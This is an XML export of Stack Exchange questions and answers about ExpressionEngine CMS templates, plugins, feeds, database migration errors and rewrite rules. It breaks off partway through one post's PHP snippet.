  <row Id="18387" PostTypeId="1" CreationDate="2014-01-14T22:33:42.303" Score="2" ViewCount="161" Body="&lt;p&gt;I'm currently working on an Atom feed (was previously RSS) that outputs 10 recent entries from the blog. That is working fine and looks great in most readers. However on both feedly and theoldreader.com both pull up any changes that have been made to the entries, resulting in &quot;repeats&quot;. This doesn't happen in the XML itself, nor in browsers (FF and Chrome).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached the feed code in hopes that someone can point me in the right direction with this one. Is it possible that the feed is cached on theoldreader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE v2.5.5 and upgrading is not an option at the moment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:debug_suppressor}&#xA;{preload_replace:master_channel_name=&quot;blog&quot;}&#xA;{preload_replace:atom_feed_location=&quot;rss/index&quot;}&#xA;&#xA;{exp:rss:feed channel=&quot;blog&quot;}&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;  &amp;lt;feed xmlns=&quot;http://www.w3.org/2005/Atom&quot; xml:lang=&quot;{channel_language}&quot;&amp;gt;&#xA;&#xA;    &amp;lt;title type=&quot;text&quot;&amp;gt;Company Blog&amp;lt;/title&amp;gt;&#xA;    &amp;lt;subtitle type=&quot;text&quot;&amp;gt;subtitle&amp;lt;/subtitle&amp;gt;&#xA;    &amp;lt;link rel=&quot;alternate&quot; type=&quot;text/html&quot; href=&quot;{channel_url}&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;self&quot; type=&quot;application/atom+xml&quot; href=&quot;{path='{atom_feed_location}'}&quot; /&amp;gt;&#xA;    &amp;lt;updated&amp;gt;{gmt_edit_date format='%Y-%m-%dT%H:%i:%sZ'}&amp;lt;/updated&amp;gt;&#xA;    &amp;lt;logo&amp;gt;http://www..org/files/images/general/-logo.png&amp;lt;/logo&amp;gt;&#xA;    &amp;lt;icon&amp;gt;http://www..org/css/images/img-footer-logo.png&amp;lt;/icon&amp;gt;&#xA;    &amp;lt;rights&amp;gt;Copyright (c) {gmt_date format=&quot;%Y&quot;} Company&amp;lt;/rights&amp;gt;&#xA;    &amp;lt;generator uri=&quot;http://expressionengine.com/&quot; version=&quot;{version}&quot;&amp;gt;ExpressionEngine&amp;lt;/generator&amp;gt;&#xA;    &amp;lt;id&amp;gt;http://company.org/&amp;lt;/id&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data|pagination&quot;}&#xA;    &amp;lt;entry&amp;gt;&#xA;      &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link rel=&quot;alternate&quot; type=&quot;text/html&quot; href=&quot;{url_title_path=blog/entry}?utm_source=rss&amp;amp;amp;utm_medium=rss-feed&quot; /&amp;gt;&#xA;        &amp;lt;id&amp;gt;{site_url}blog/entry/{entry_id}&amp;lt;/id&amp;gt;&#xA;        &amp;lt;published&amp;gt;{gmt_entry_date format=&quot;{DATE_ATOM}&quot;}&amp;lt;/published&amp;gt;&#xA;        &amp;lt;updated&amp;gt;{gmt_edit_date format=&quot;{DATE_ATOM}&quot;}&amp;lt;/updated&amp;gt;&#xA;        &amp;lt;author&amp;gt;&#xA;              &amp;lt;name&amp;gt;author&amp;lt;/name&amp;gt;&#xA;              &amp;lt;email&amp;gt;blog@company.org&amp;lt;/email&amp;gt;&#xA;        &amp;lt;/author&amp;gt;&#xA;        {categories}&#xA;          &amp;lt;category term=&quot;{exp:xml_encode}{category_name}{/exp:xml_encode}&quot;/&amp;gt;&#xA;        {/categories}&#xA;&#xA;        &amp;lt;content type=&quot;html&quot;&amp;gt;&#xA;            &amp;lt;![CDATA[&#xA;            {if blog_image}&#xA;              &amp;lt;img src=&quot;{blog_image}&quot;/&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {/if}&#xA;            {exp:xml_encode protect_entities=&quot;yes&quot;}&#xA;            {blog_summary}&#xA;            {/exp:xml_encode}&#xA;            ]]&amp;gt;&#xA;        &amp;lt;/content&amp;gt;&#xA;&#xA;    &amp;lt;/entry&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  &amp;lt;/feed&amp;gt;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2605" LastActivityDate="2014-04-14T23:46:23.310" Title="Atom/RSS feed outputting all versions of entries" Tags="|cache|xml|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18388" PostTypeId="1" AcceptedAnswerId="18414" CreationDate="2014-01-14T22:40:15.707" Score="1" ViewCount="52" Body="&lt;p&gt;I've just installed the Edit This 2.1 plugin by Travis Smith (Hop Studios)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on ExpressionEngine v2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the documentation for reference : &lt;a href=&quot;http://www.hopstudios.com/software/edit_this/docs#Installation%20for%20EE%202.x&quot; rel=&quot;nofollow&quot;&gt;Plugin Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have inserted this tag within my channel entries. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:edit_this:entry entry_id=&quot;{entry_id}&quot; channel_id=&quot;{channel_id}&quot; author_id=&quot;{author_id}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The little pencil icon is appearing, which is great. However the problem is when I click the icon it opens in a new tab and tells me to login when I'm already logged in. It should just go to the form to edit the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2586" LastEditorUserId="55" LastEditDate="2014-01-15T12:47:24.400" LastActivityDate="2014-01-15T18:28:05.310" Title="Edit This - Plugin Help" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18389" PostTypeId="2" ParentId="18382" CreationDate="2014-01-14T22:50:44.263" Score="3" Body="&lt;p&gt;Good news, it should be a quick fix. All you need is to prefix your Playa variables with &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;var_prefix&lt;/a&gt; parameter to differentiate the namespace from the Channel Entry variables, although you might have to use the full module tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;item_colors&quot; var_prefix=&quot;pl&quot;}&#xA;    &quot;{pl:title}&quot;: &quot;{title}&quot;,&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-14T22:50:44.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18390" PostTypeId="2" ParentId="18387" CreationDate="2014-01-14T22:57:01.070" Score="1" Body="&lt;p&gt;I think it's to do with the &lt;code&gt;{DATE_ATOM}&lt;/code&gt; variable including the seconds which I think gets updated when editing an entry thereby triggering it to be displayed again. If you use &lt;code&gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i%Q&quot;}&lt;/code&gt; (which I use in my RSS templates) or possibly &lt;code&gt;{entry_date format=&quot;%Y-%m-%dT%H:%i%Q&quot;}&lt;/code&gt; if &lt;code&gt;gmt_date&lt;/code&gt; isn't available for ATOM instead I think you should be OK.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-01-14T22:57:01.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18391" PostTypeId="1" AcceptedAnswerId="18802" CreationDate="2014-01-15T00:42:20.387" Score="0" ViewCount="44" Body="&lt;p&gt;When I try to add multiple packages, any where from about 6-10, the cart will clear itself. I'm wondering if this has to do with the extra processing a package has to go through since the package information is saved as an array and then serialized?&#xA;Is it just overloading the server causing it to drop the cart?&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2014-01-27T23:02:19.440" Title="Cart being dropped when adding multiple packages" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18392" PostTypeId="2" ParentId="18074" CreationDate="2014-01-15T08:54:44.563" Score="0" Body="&lt;p&gt;There are a few addons at Devot-ee that may help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jeremyworboys.com/add-ons/time-difference&quot; rel=&quot;nofollow&quot;&gt;http://jeremyworboys.com/add-ons/time-difference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cas-elapsed-time&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cas-elapsed-time&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-01-15T08:54:44.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18393" PostTypeId="1" AcceptedAnswerId="18396" CreationDate="2014-01-15T09:29:03.890" Score="1" ViewCount="52" Body="&lt;p&gt;I have a project where whenever we perform a search we would like to check for synonyms and translations and search for them at the same time. For example a search for &quot;mill stone&quot; will also search for &quot;millstone&quot; and &quot;meule&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that this would be impossible with the native search module but is it something that could be achieved with Solspace Super Search or Low Search?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-01-15T10:10:46.293" Title="Are there any add-ons which add thesaurus functionality to search" Tags="|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18394" PostTypeId="2" ParentId="18373" CreationDate="2014-01-15T09:35:28.930" Score="1" Body="&lt;p&gt;You might be able to use or extend the 'Recently Viewed' module to achieve your objective. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/recently_viewed.mod.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/recently_viewed.mod.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Recently Viewed Entries&quot; module allows you to keep a record of recently viewed entries on a per member basis and display that data back to the user in your page templates. The module uses the members session ID so they need not be logged in.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-01-15T09:35:28.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18395" PostTypeId="1" AcceptedAnswerId="18412" CreationDate="2014-01-15T10:08:33.327" Score="1" ViewCount="30" Body="&lt;p&gt;After upgrading to 2.7.2, I am getting an odd &quot;Cannot redeclare class Wygwam&quot; error in the control panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This prevents entries from opening, and also accessing the Fieldtypes list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution? It's the latest version of Wygwam (3.2.2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="55" LastEditDate="2014-01-15T13:20:42.620" LastActivityDate="2014-01-15T18:19:38.053" Title="Wygwam error &quot;Cannot redeclare class Wygwam&quot; error after 2.7.2 upgrade" Tags="|pixelandtonic|wygwam|error|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18396" PostTypeId="2" ParentId="18393" CreationDate="2014-01-15T10:10:46.293" Score="3" Body="&lt;p&gt;Super Search has &lt;a href=&quot;http://www.solspace.com/docs/super_search/fuzzy_searching/&quot; rel=&quot;nofollow&quot;&gt;fuzzy searching&lt;/a&gt;, which basically means plural/singular matching, &quot;sounds like&quot; matching and some spelling matching. However, as far as I know, this is limited to English only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution that would work for both Low Search and Super Search, is to have a hidden field with searchable keywords per entry, which you'd have to populate manually. More work, but more control, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you might need to go away from EE for the search itself, and use something like a Google custom search.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-15T10:10:46.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18397" PostTypeId="2" ParentId="18372" CreationDate="2014-01-15T10:13:08.570" Score="1" Body="&lt;p&gt;Matrix has a &quot;row_count&quot; variable you could use, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;  {if row_count == &quot;1&quot;}&#xA;    First row content&#xA;  {if:else}&#xA;    Remaining row content&#xA;  {/if}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-01-15T10:13:08.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18398" PostTypeId="2" ParentId="18316" CreationDate="2014-01-15T11:38:30.450" Score="1" Body="&lt;p&gt;Without digging too much into your code, I think the problem is you need to parse tags on the &lt;code&gt;get_list&lt;/code&gt; not the &lt;code&gt;set_list&lt;/code&gt; (or possibly both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;news__body&lt;/code&gt; field will need to be parsed again by the template parser for the shortcodes to render as snippets are parsed really early.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So update&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;news-commentary&quot;}...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;news-commentary&quot; parse_tags=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that will get it working for you.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-15T11:38:30.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18399" PostTypeId="1" AcceptedAnswerId="18401" CreationDate="2014-01-15T13:27:37.987" Score="0" ViewCount="75" Body="&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;blog&quot; status=&quot;not closed&quot; monthsort=&quot;desc&quot; start_year=&quot;{segment_3}&quot; end_year=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;August&lt;/li&gt;&#xA;&lt;li&gt;July&lt;/li&gt;&#xA;&lt;li&gt;June&lt;/li&gt;&#xA;&lt;li&gt;May&lt;/li&gt;&#xA;&lt;li&gt;April&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for &lt;code&gt;segment_3&lt;/code&gt;=2008 or &lt;code&gt;segment_3&lt;/code&gt;=2009.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;even though 2009 has posts the entire year. It's filtering the results based on the first entry month and last entry month across &lt;em&gt;all&lt;/em&gt; years even when I use &lt;code&gt;start_year&lt;/code&gt; and &lt;code&gt;end_year&lt;/code&gt; params. It should check first &amp;amp; last month within the requested range of years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest version, downloaded 2 days ago.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2014-01-15T14:00:41.567" Title="Low Yearly Archives always uses channel start &amp; end month" Tags="|low-yearly-archives|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18400" PostTypeId="1" AcceptedAnswerId="18402" CreationDate="2014-01-15T13:41:28.983" Score="0" ViewCount="96" Body="&lt;p&gt;I moved a site from one server to the other.&#xA;Before that, I imported a backup. Appearently there is something wrong now.&#xA;Most of the tnings seem normal, but I get this on the site, and when I try to login the CP.&#xA;This is bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I repair this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'session_id' in 'field list'&#xA;&#xA;INSERT INTO `exp_security_hashes` (`date`, `hash`, `session_id`) VALUES (xxlotxxofxxcharactersxx)&#xA;&#xA;Filename: core/EE_Security.php&#xA;&#xA;Line Number: 118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-01-15T14:12:56.327" Title="when moving from server, I get error when calling data: Error Number: 1054 Unknown column 'session_id' in 'field list'" Tags="|database-migrations|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-15T14:57:13.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="18401" PostTypeId="2" ParentId="18399" CreationDate="2014-01-15T14:00:41.567" Score="0" Body="&lt;p&gt;Current behaviour is that both &lt;code&gt;start_month&lt;/code&gt; and &lt;code&gt;end_month&lt;/code&gt; are separate from the &lt;code&gt;start_year&lt;/code&gt; and &lt;code&gt;end_year&lt;/code&gt;. The month params will still default to the first and last month in the given entries, regardless of year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding &lt;code&gt;start_month=&quot;01&quot;&lt;/code&gt; and &lt;code&gt;end_month=&quot;12&quot;&lt;/code&gt; to the tag. I'll mark it as a feature request to make this a bit more intuitive.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-15T14:00:41.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18402" PostTypeId="2" ParentId="18400" CreationDate="2014-01-15T14:12:56.327" Score="0" Body="&lt;p&gt;The right answer is here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/4910/1615&quot;&gt;https://expressionengine.stackexchange.com/a/4910/1615&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;he says&#xA;Run the following SQL on your database;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE  `exp_security_hashes` ADD  `session_id` VARCHAR( 40 ) NOT NULL DEFAULT  '0' AFTER  `date`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create the necessary column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i am thankful having found this!&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-15T14:12:56.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18403" PostTypeId="1" AcceptedAnswerId="18404" CreationDate="2014-01-15T15:06:49.880" Score="2" ViewCount="41" Body="&lt;p&gt;I am working the store default templates into my custom layout. I am using the {exp:store:cart} tag to display totals in my site's header, however it is not displaying any data.  If I browse to the example templates it still shows the items in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am perplexed to why this is not working, wondering if its a server configuration?&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-01-15T15:06:49.880" Title="Store Cart not showing items" Tags="|expresso-store|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18404" PostTypeId="2" ParentId="18403" CreationDate="2014-01-15T15:06:49.880" Score="2" Body="&lt;p&gt;Turns out it has to do with sessions or cookies.  This site is still in development and the sites url is an IP address.  The page the cart was NOT working on I accessed via a subdomain that pointed to the IP.  This meant the cookie/session was under a different site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TLDR - Make sure your sites domain is the same for all functions of Expresso-Store to work.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-01-15T15:06:49.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18405" PostTypeId="1" CreationDate="2014-01-15T15:45:14.100" Score="1" ViewCount="50" Body="&lt;p&gt;EE 2.7.3&#xA;WYGWAM 3.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Internet Explorer I try to add a link using WYGWAM and after I enter the URL i click OK and the pop up window will not close.  Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-03-12T17:06:19.673" Title="Wygwam - adding link cannot close window" Tags="|pixelandtonic|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18406" PostTypeId="2" ParentId="18405" CreationDate="2014-01-15T15:48:41.737" Score="1" Body="&lt;p&gt;This is bug with ckeditor upon which WYGWAM is built. Pixel and Tonic have said fix is coming soon in new release of WYGWAM.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-01-15T15:48:41.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18407" PostTypeId="1" CreationDate="2014-01-15T15:58:34.707" Score="1" ViewCount="434" Body="&lt;p&gt;I have a weird issue with Stripe and Cartthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version Info.&#xA;EE- 2.5.5&#xA;Cartthrob - 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When submitting the checkout form using the stripe gateway. In firefox and safari (some customers have reported chrome as well but it works on my machine) the order gets processed correctly and payment shows up at stripe but the return parameter never runs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify whats happening the group/template from which the checkout is happening is store/checkout.  Once the checkout is complete the return is supposed to take you to store/thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead the the site stays (or reloads not sure) store/checkout but the page is blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Customers obviously think there is an error and click the back button.  The cart is not cleared and we have instances where customers have submitted the same order and got a token reference error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again the payment is reaching stripe its just how the order confirmation return is not working that is causing the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that stripe uses it's own javascript that it embeds into the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have removed all my external javascript from the page. I also made sure the checkout form does not have a custom id and that the required fields do not have  a name value associated with them as per the payment documentation inside the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My console is showing no javascript errors and all the stripe js files are linking correctly from the source code from what I see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help guys I haven't seen the issue anywhere else and I'm out of ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the great plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben&lt;/p&gt;&#xA;" OwnerUserId="2609" LastActivityDate="2014-01-31T02:07:28.967" Title="Cartthrob Stripe Gateway Blank Screen after checkout" Tags="|cartthrob|error|checkout|stripe|blank-screen|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18408" PostTypeId="1" AcceptedAnswerId="18409" CreationDate="2014-01-15T17:13:01.773" Score="2" ViewCount="387" Body="&lt;p&gt;Any ideas how I can make use of Twitter Summary Cards via ExpressionEngine?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-01-15T17:13:01.773" Title="Twitter Summary Cards in ExpressionEngine" Tags="|templates|global-variables|twitter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18409" PostTypeId="2" ParentId="18408" CreationDate="2014-01-15T17:13:01.773" Score="2" Body="&lt;p&gt;There are a number of approaches you could take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one using native EE functionality&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see from the &lt;a href=&quot;https://dev.twitter.com/docs/cards/types/summary-card&quot; rel=&quot;nofollow&quot;&gt;Twitter docs&lt;/a&gt; that we need the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:site&quot; content=&quot;@nytimes&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:creator&quot; content=&quot;@SarahMaslinNir&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:title&quot; content=&quot;Parade of Fans for Houston’s Funeral&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:description&quot; content=&quot;NEWARK - The guest list and parade of limousines with celebrities emerging from them seemed more suited to a red carpet event in Hollywood or New York than than a gritty stretch of Sussex Avenue near the former site of the James M. Baxter Terrace public housing project here.&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:image&quot; content=&quot;http://graphics8.nytimes.com/images/2012/02/19/us/19whitney-span/19whitney-span-article.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you were on a single entry page you could use an embedded template for the html head that would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;  &amp;lt;title&amp;gt;{embed:blog_title}&amp;lt;/title&amp;gt;&#xA;&#xA;  &amp;lt;meta name=&quot;description&quot; content=&quot;{embed:blog_description}&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;author&quot; content=&quot;{embed:author}&quot;&amp;gt;&#xA;&#xA;  &amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;twitter:site&quot; content=&quot;{gv_site_twitter_handle}&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;twitter:creator&quot; content=&quot;{embed:twitter_handle}&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;twitter:title&quot; content=&quot;{embed:blog_title}&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;twitter:description&quot; content=&quot;{embed:blog_description}&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;twitter:image&quot; content=&quot;{embed:blog_image}&quot;&amp;gt;&#xA;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/a/c/style.css&quot;&amp;gt;&#xA;  &amp;lt;!--[if lt IE 9]&amp;gt;&#xA;  &amp;lt;script src=&quot;http://html5shiv.googlecode.com/svn/trunk/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we then look at the single entry template, it could look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&#xA;{embed=_embeds/html_head blog_description=&quot;{blog_description}&quot; author=&quot;{author}&quot; twitter_handle=&quot;{aol_im}&quot; blog_title=&quot;{title}&quot; blog_image=&quot;{blog_image}{url}{/blog_image}&quot;&#xA;&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, of course, this setup is dependent on having a global variable to store the site's Twitter handle {gv_site_twitter_handle}, a channel called 'blog' and also a custom field group for the blog containing fields: blog_description and blog_image. Those, along with the native title variable will do the majority of the work, however, we still need the author's Twitter handle if available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this instance, I'd set the author's Twitter ID against their member profile field {aol_im}. EE gets a hard time for this and other profile fields existing but here's a good place to use it. You could of course create a custom profile field to use instead.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-01-15T17:13:01.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18410" PostTypeId="1" AcceptedAnswerId="18415" CreationDate="2014-01-15T17:16:38.457" Score="1" ViewCount="107" Body="&lt;p&gt;I had do move a functionally old EE 1.6.8 website to a new hosting. It does working so far after I changed the RewriteCond from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seem's my new Host requires forced query strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now there are problems to fetching superglobal values in a specific template. &#xA;I use the following code to catch three values from the URI there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.xxxx.ch/kontakt/projectform?mitarbeiter=test&amp;amp;projekt=test&amp;amp;kunde=test&quot; rel=&quot;nofollow&quot;&gt;http://www.xxxx.ch/kontakt/projectform?mitarbeiter=test&amp;amp;projekt=test&amp;amp;kunde=test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function get_id($idname) {&#xA;&#xA;        global $IN;&#xA;&#xA;        $id = $IN-&amp;gt;GBL($idname, 'GET');&#xA;        echo $id;&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;{assign_variable:mitarbeiter=&quot;&amp;lt;?php echo get_id('mitarbeiter'); 